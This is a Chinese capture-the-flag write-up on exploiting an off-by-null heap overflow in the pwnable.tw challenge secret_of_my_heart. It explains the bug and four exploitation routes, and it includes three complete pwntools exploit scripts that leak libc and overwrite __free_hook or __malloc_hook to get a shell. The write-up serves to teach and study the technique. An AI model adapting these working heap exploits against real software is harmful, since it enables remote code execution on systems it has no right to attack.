内容简介:最近仔细研究了off by null漏洞,对off by null的漏洞利用有了一定的认识。希望大家能从我这篇文章中学到点东西,这是我的荣幸,也希望各位大佬指正。对off by null漏洞的思考来自于pwnable.tw中的secret_of_my_heart一题,这是一个非常典型并且简单的off by null的题目,所以这里就用这道题举例子。
前言
最近仔细研究了off by null漏洞,对off by null的漏洞利用有了一定的认识。希望大家能从我这篇文章中学到点东西,这是我的荣幸,也希望各位大佬指正。
对off by null漏洞的思考来自于pwnable.tw中的secret_of_my_heart一题,这是一个非常典型并且简单的off by null的题目,所以这里就用这道题举例子。
首先介绍一下这道题
检查
该程序一共有三个功能
分别是add、delete和show功能。
程序刚开始使用mmap函数申请了一块内存:
这里的mmap出的内存里面主要作用是用来存放一个个secret结构体
sercet的结构体如下:
下面看一下add函数
漏洞点在add函数中的input_str函数中
红框中的代码有泄露漏洞,可以泄露堆的地址
而蓝框中的代码则是在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。
看一下show函数的内容:
再看一下delete函数中的内容:
我大概总结了一下这道题的思路:
1、可以通过unsortedbin attack写入到free_hook上方,然后利用fastbin attack写入system的地址,从而拿到shell;
2、可以通过fastbin attack修改malloc_hook为one_gadget,然后利用malloc_printerr触发malloc;
3、可以通过fastbin attack修改_IO_FILE文件结构体的vtable中的函数地址为one_gadget来拿到shell;
4、可以通过fastbin attack修改top chunk指针来劫持top chunk,拿到shell;
介绍一下这道题思路的具体实现
首先第一种思路的实现
这是exp中的各个函数
首先先去申请5个chunk和泄露堆的地址,大小分别有0x68和0xF8的
然后进行chunk overlap
这里的大概思路是,通过3号chunk去溢出4号chunk的prevsize和size,使得当释放4号chunk时,去合并0-3号chunk。这里为了绕过unlink中出现的crash,我们需要先将0号chunk给free掉。 ![](YinXiangBiJi.enexfiles/chunkoverlap.png)
这里需要说一下,p64(0x0)+p64(0x71)+p64(attack_heap)+p64(0x00)是为后面unsortedbin attack做准备,所以可以暂时忽略,后面的p64(0x100+0x100+0x70+0x70)是伪造的prev_size,这样去free掉4号chunk就可以将0-4号chunk合并并放入unsortedbin中。
特别说明一下,attack_heap的地址为0x562b0fa382c0。
可以看到,这里已经实现了我们的目的。
然后进行libc地址泄露
我们已经将0-4号合并的chunk放到了unsortedbin中,但1号chunk实际上并没有被我们free过,所以我们把在unsortedbin中的0号chunk申请掉,malloc就会切割chunk,并将unsortedbin的地址放到1号chunk里面,这时候我们去show1号chunk就可以得到unsortedbin地址了。
我们已经将libc地址泄露了,接下来我们该如何利用这些chunk拿到 shell 呢?
首先,我们先去free掉2号chunk,使得2号chunk放入fastbin中,那么现在堆的布局是怎样的呢?我们来看一下。
这样我们就可以通过去unsortedbin中取得内存,来控制0x562b0fa38200中的内容了。
首先new一个0xE8大小的内存。
然后通过new一块0x70+0x70大小的chunk,控制0x562b0fa38200中的prev_size为0,size为0x71,fd为attack_heap,也就是0x562b0fa382c0。
看一下0x562b0fa382c0中的情况
为什么0x562b0fa382c0中为什么回事这样呢,还记得前面吗?
这里我们对0x562b0fa382c0写入了p64(0x0)+p64(0x71)+p64(attack_heap)。
这样,fastbin中就有了三个chunk,分别是0x562b0fa38200,0x562b0fa382c0,0x562b0fa382c0。
接下来我们将0x562b0fa38200申请出来,然后通过申请0x562b0fa382c0这个chunk改变第二个0x562b0fa382c0的fd和unsortedbin中的chunk的bk。从而进行fastbin attack和unsortedbin attack。
这样就可以拿到shell了。
exp.py如下:
from pwn import * #context.log_level = "debug" local = True if local: p = process("./secret\_of\_my_heart") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") bin_offset = 0x3C4B20 + 0x58 else: p = remote("chall.pwnable.tw","10302") libc = ELF("./libc_64.so.6") bin_offset = 0x3C3B20 + 0x58 elf = ELF("./secret_of_my_heart") def new(size,name,secret): p.sendlineafter("choice :",str(1)) p.sendlineafter("Size of heart : ",str(size)) p.sendafter("Name of heart :",name) p.sendafter("secret of my heart :",secret) def show(index): p.sendlineafter("choice :",str(2)) p.sendlineafter("Index :",str(index)) def free(index): p.sendlineafter("choice :",str(3)) p.sendlineafter("Index :",str(index)) new(0xF8,"a"*0x20,"aaaa")#0 100 new(0xF8,"b"*0x20,"bbbb")#1 100 show(1) p.recvuntil("b"*0x20) heap_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00")) success("heap_address ===> " + hex(heap_addr)) new(0x68,"c"*0x20,"cccc")#2 70 new(0x68,"d"*0x20,"dddd")#3 70 new(0xF8,"d"*0x20,"dddd")#4 100 new(0xF8,"padding\n","padding\n")#5 free(0) free(3) offset = 0x55a9d344a2c0 - 0x55a9d344a110 attack_heap = heap_addr + offset new(0x68,"d"*0x20,"d"*0x40 + p64(0x0) + p64(0x71) + p64(attack_heap) + p64(0x00) + p64(0x100+0x100+0x70+0x70)) #0 free(4) new(0xF8,"a"*0x20,"aaaa")#3 show(1) p.recvuntil("Secret : ") bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00")) libc.address = bin_addr - bin_offset free_hook = libc.symbols['__free_hook'] success("libc_address ===> " + hex(libc.address)) success("system_address ===> " + hex(libc.symbols['system'])) success("__free_hook ===> " + hex(free_hook)) free(2) log.info("attack_heap_address ===> " + hex(attack_heap)) new(0xE8,"test","test") #2 new((0x70+0x70),"attack",p64(0x00)+p64(0x71)+p64(attack_heap)) #4 new(0x68,"test","/bin/sh\x00") #6 new(0x68,"attack",p64(free_hook-0x43) + "\x00" * 0x10 + p64(0x101)+p64(0xdeadbeef)+p64(free_hook-0x50)) new(0xF8,"attack","attack") #unsorted bin attack payload = "\x00" * 0x33 + p64(libc.symbols['system']) new(0x68,"attack","attack") new(0x68,"attack",payload) free(6) p.interactive()
第一种思路实际上是我当时做这个题的时候瞎想的,因为one_gadget修改成__malloc_hook并不能生效,所以没办法只能去修改__free_hook,这种方法非常麻烦且低效。后来拿到flag之后去看大佬们的博客,发现我真的是弱爆了。
第二种思路和第三种思路实际上是针对one_gadget修改成__malloc_hook触发不成功而产生的。
这里只实现第二种,因为第二种思路和第三种思路差不多,只是one_gadget写入的地方不一样。而且我觉得第二种应该是最容易实现的思路了。
第二种思路
首先,老办法泄露Libc的地址:
和第一个思路的泄露方法一样的,只是这边new的5个chunk的大小有点不一样而已。
接下来进行fastbin dup:
开始进行攻击并且free掉6号chunk触发malloc_printerr。
最后拿到shell
exp.py如下:
from pwn import * #context.log_level = "debug" local = False if local: p = process("./secret\_of\_my_heart") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") bin_offset = 0x3C4B20 + 0x58 one_gadget = 0xf02a4 else: p = remote("chall.pwnable.tw","10302") libc = ELF("./libc_64.so.6") bin_offset = 0x3C3B20 + 0x58 one_gadget = 0xef6c4 elf = ELF("./secret_of_my_heart") def new(size,name,secret): p.sendlineafter("choice :",str(1)) p.sendlineafter("Size of heart : ",str(size)) p.sendafter("Name of heart :",name) p.sendafter("secret of my heart :",secret) def show(index): p.sendlineafter("choice :",str(2)) p.sendlineafter("Index :",str(index)) def free(index): p.sendlineafter("choice :",str(3)) p.sendlineafter("Index :",str(index)) new(0xF8,"a"*0x20,"aaaa") #0 new(0x68,"b"*0x20,"bbbb") #1 new(0xF8,"c"*0x20,"cccc") #2 new(0xF8,"d"*0x20,"dddd") #3 new(0xF8,"e"*0x20,"eeee") #4 free(2) free(0) new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0 free(3) new(0xF8,"a"*0x20,"aaaa") #2 show(1) p.recvuntil("Secret : ") bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00")) libc.address = bin_addr - bin_offset malloc_hook = libc.symbols['__malloc_hook'] one_gadget = libc.address + one_gadget success("libc_address ===> " + hex(libc.address)) success("__malloc_hook ===> " + hex(malloc_hook)) success("shell_address ===> " + hex(one_gadget)) new(0x68,"b"*0x20,"bbbb") #3 new(0x68,"c"*0x20,"cccc") #5 #fastbin dup free(1) free(5) free(3) new(0x68,"d"*0x20,p64(malloc_hook-0x23)) #6 new(0x68,"e"*0x20,"eeee") #7 new(0x68,"f"*0x20,"ffff") #8 payload = "\x00"*0x13 + p64(one_gadget) new(0x68,"fastbin attack",payload) #getshell free(6) p.interactive()
接下来介绍第四种思路的实现,因为思路挺好的,所以就算实现麻烦点,也是无所谓。
第四种思路
具体思路如下:
首先,我们知道,__malloc_hook和main_arena其实是相邻的,并且main_arena里面有一个指向top chunk的指针。这样的话我们可以先fastbin dup去申请到__malloc_hook-0x23这块内存,然后往main_arena里面写入0x70,再用fastbin attack得到main_arena,控制top chunk的指针指向__free_hook上方,然后再去不断申请内存直至申请到__free_hook。
__malloc_hook和main_arena的位置如下:
利用__malloc_hook-0x23的0x7f来使用fastbin dup控制红框中的内容,往红框里面写入0x70,再进行一次fastbin attack就可以控制指向top chunk的指针,这里0x55e274cc0470就是topchunk的地址。红框内是fastbin数组,可以利用这个进行二次fastbin attack。
来看一下我们伪造topchunk的size。
__free_hook地址-0xb58的位置,红框内可以作为我们伪造的top chunk的size。我们只需要将指向top chunk的指针指向__free_hook地址-0xb58的位置就可以了。
exp.py如下:
from pwn import * #context.log_level = "debug" local = False if local: p = process("./secret\_of\_my_heart") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") bin_offset = 0x3C4B20 + 0x58 one_gadget = 0xf02a4 else: p = remote("chall.pwnable.tw","10302") libc = ELF("./libc_64.so.6") bin_offset = 0x3C3B20 + 0x58 one_gadget = 0xef6c4 elf = ELF("./secret_of_my_heart") def new(size,name,secret): p.sendlineafter("choice :",str(1)) p.sendlineafter("Size of heart : ",str(size)) p.sendafter("Name of heart :",name) p.sendafter("secret of my heart :",secret) def show(index): p.sendlineafter("choice :",str(2)) p.sendlineafter("Index :",str(index)) def free(index): p.sendlineafter("choice :",str(3)) p.sendlineafter("Index :",str(index)) new(0xF8,"a"*0x20,"aaaa") #0 new(0x68,"b"*0x20,"bbbb") #1 new(0xF8,"c"*0x20,"cccc") #2 new(0xF8,"d"*0x20,"dddd") #3 new(0xF8,"e"*0x20,"/bin/sh\x00") #4 free(2) free(0) new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0 free(3) new(0xF8,"a"*0x20,"aaaa") #2 show(1) p.recvuntil("Secret : ") bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00")) libc.address = bin_addr - bin_offset free_hook = libc.symbols['__free_hook'] malloc_hook = libc.symbols['__malloc_hook'] main_arena = bin_addr - 0x58 success("libc_address ===> " + hex(libc.address)) success("system_address ===> " + hex(libc.symbols['system'])) success("__free_hook ===> " + hex(free_hook)) new(0x68,"b"*0x20,"bbbb") #3 new(0x68,"c"*0x20,"cccc") #5 #fastbin dup free(1) free(5) free(3) new(0x68,"b"*0x20,p64(malloc_hook-0x23)) new(0x68,"c"*0x20,"cccc") new(0x68,"d"*0x20,"dddd") payload = "\x00" * 0x13 payload += "\x00" * 0x40 payload += p64(main_arena+48) payload += p64(0x71) new(0x68,"e"*0x20,payload) new(0x68,"f"*0x20,p64(0x00)*3+p64(free_hook-0xb58)) new(0x100,"padding\n","padding") new(0x100,"padding\n","padding") new(0x100,"padding\n","padding") new(0x100,"padding\n","padding") for i in range(7): new(0x100,"padding\\n","padding") new(0x100,"padding\n","\x00"*0xa8+p64(libc.symbols['system'])) free(4) p.interactive()
总结
实际上,off by null漏洞就是通过chunk overlap来实现UAF,所以这个东西本质上就是UAF。既然是UAF,所以拿到shell的思路或许还有不少。
附上参考链接:
http://tacxingxing.com/2018/02/20/pwnabletw-secretofmyheart/
https://veritas501.space/2018/03/04/pwnable.tw%2011~18%E9%A2%98%20writeup/
以上所述就是小编给大家介绍的《off by null漏洞getshell示例》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
网站重构(第3版)
[美] Jeffrey Zeldman、[美] Ethan Marcotte / 傅捷、祝军、李宏 / 电子工业出版社 / 2011-3 / 59.00元
《网站重构:应用Web标准进行设计(第3版)》内容简介:畅销书作家、设计师、网页标准教父jeffrey zeldman再次更新了他经典的、颠覆行业的指南书。这已经是《网站重构:应用Web标准进行设计(第3版)》的第3版了,此次更新基本涵盖了随着环境和技术的变化,web标准所面临的挑战以及因此而发生的改善。第3版让基于标准的设计思想更加清晰,更加易于理解,帮助你在这个领域中保持聪明和领先。 ......一起来看看 《网站重构(第3版)》 这本书的介绍吧!